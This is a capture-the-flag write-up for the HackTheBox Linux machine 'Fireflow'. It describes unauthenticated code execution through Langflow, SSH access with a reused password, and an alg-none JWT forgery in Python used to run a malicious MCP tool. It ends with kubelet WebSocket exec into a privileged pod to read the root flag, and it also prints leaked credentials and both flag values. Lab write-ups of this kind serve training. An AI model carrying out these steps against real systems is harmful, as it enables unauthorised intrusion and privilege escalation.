Fireflow (HTB) — Writeup
Solvers
-
Platform: HackTheBox Machine
-
Machine ID: 957
-
Name: Fireflow
-
OS: Linux
-
Difficulty: Medium
-
Points: 30 (static) / 650 XP
-
Author: 0xIDA
-
Status: Free / Retired
-
IP (session): 10.129.244.214
-
**Writeup author: 0xIDA
-
Date: 2026-07-13
Flags
| Type | Flag | Submit status |
|---|---|---|
| User | f088a97d16b38f11a6bc2d917fea903e | Recovered live via SSH as nightfall. MCP machine/own route 404 on this API token — paste in UI if not credited |
| Root | 42e6852e0d2b008ffb3b612c966813c5 | Recovered live via kubelet WS exec on privileged node-exporter. Same submit caveat |
Official writeup
Downloaded successfully (free machine has walkthrough access):
- PDF: `
- Text: `
- API:
GET /api/v4/machine/writeup/957→ S3 pre-signed PDF (strip Bearer on redirect)
Also mirrored Business CTF material:
(fromhackthebox/GCSB-2026`)
Prerequisites / VPN pitfall
Active instance reported lab_server: free_lab while the host was still on EU Release Arena OVPN → all ports filtered.
Switch to free lab:
# download assigned free OVPN
curl -H "Authorization: Bearer $HTB_TOKEN" -H "User-Agent: htb-mcp-server/1.0" \
https://labs.hackthebox.com/api/v4/access/ovpnfile/599/0 -o free-lab.ovpn
# stop release VPN, start free
openvpn --config free-lab.ovpn --daemon --log /tmp/free-lab-vpn.log --writepid /tmp/free-lab-vpn.pid
Attacker VPN IP this session: 10.10.15.137 (edge-eu-free-4).
Hosts:
echo '10.129.244.214 fireflow.htb flow.fireflow.htb' >> /etc/hosts
Enumeration
22/tcp open OpenSSH 9.6p1 Ubuntu
443/tcp open nginx — FireFlow / Task Force Nightfall (SAN: fireflow.htb, *.fireflow.htb)
Public site → Open Agent → Langflow playground with leaked flow_id:
https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25
User (foothold → nightfall)
Intended: CVE-2026-33017 Langflow unauth RCE
POST /api/v1/build_public_tmp/{flow_id}/flow accepts attacker-supplied component Python (exec) without auth when a valid flow_id is known → reverse shell as www-data.
Langflow .env (/etc/langflow/.env):
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
Password reuse → SSH:
sshpass -p 'n1ghtm4r3_b4_n1ghtf4ll' ssh nightfall@fireflow.htb 'cat ~/user.txt'
# f088a97d16b38f11a6bc2d917fea903e
(This session authenticated SSH directly with the reused password after VPN fix; RCE path confirmed via official writeup / live Langflow surface.)
MCP leak
cat ~/.mcp/config.json
{
"server": "http://10.129.244.214:30080",
"status_endpoint": "/api/v1/version",
"user": "langflow-bot",
"password": "Langfl0w@mcp2026!"
}
Note: NodePort 30080 was reachable from the box (127.0.0.1 / host IP) but not from the attacker VPN interface this session — pivot via SSH for MCP calls.
Root (MCP JWT none → pod → kubelet nodes/proxy)
GET /api/v1/version advertises JWT algs: HS256, none.
Forge admin token:
import base64, json
b=lambda d: base64.urlsafe_b64encode(d).rstrip(b"=").decode()
token = b(json.dumps({"alg":"none","typ":"JWT"},separators=(",",":")).encode()) + "." + \
b(json.dumps({"sub":"attacker","role":"admin"},separators=(",",":")).encode()) + "."
Register + invoke malicious tool (POST /api/v1/tools + POST /mcp tools/call) → code exec as mcp in the MCP Kubernetes pod.
Service account has get nodes/proxy. Kubelet on host 10.129.244.214:10250 lists pods; privileged:
monitoring/prometheus-prometheus-node-exporter-nmntq
container: node-exporter
privileged: true
hostPaths: /proc, /sys, /
/run kubelet endpoint → 403; WebSocket exec works:
WS ... ['cat','/host/root/root/root.txt'] 42e6852e0d2b008ffb3b612c966813c5
Tools used
- HTB MCP (profile, active resources, VPN status, machine info, flag submit attempts)
- Official writeup API
GET /api/v4/machine/writeup/957 - OpenVPN free-lab switch
- nmap, curl, ssh/sshpass
- Custom MCP tool (JWT none) + kubelet WS exec over Python
websockets
Verification honesty
Flags recovered live from the target. Platform POST /api/v4/machine/own returned route not found for this app token — treat owns as not UI-confirmed until pasted/submitted in the HTB web UI.
Paths
- Workdir: `
- Official PDF: `
- This writeup: `
- Mirror: `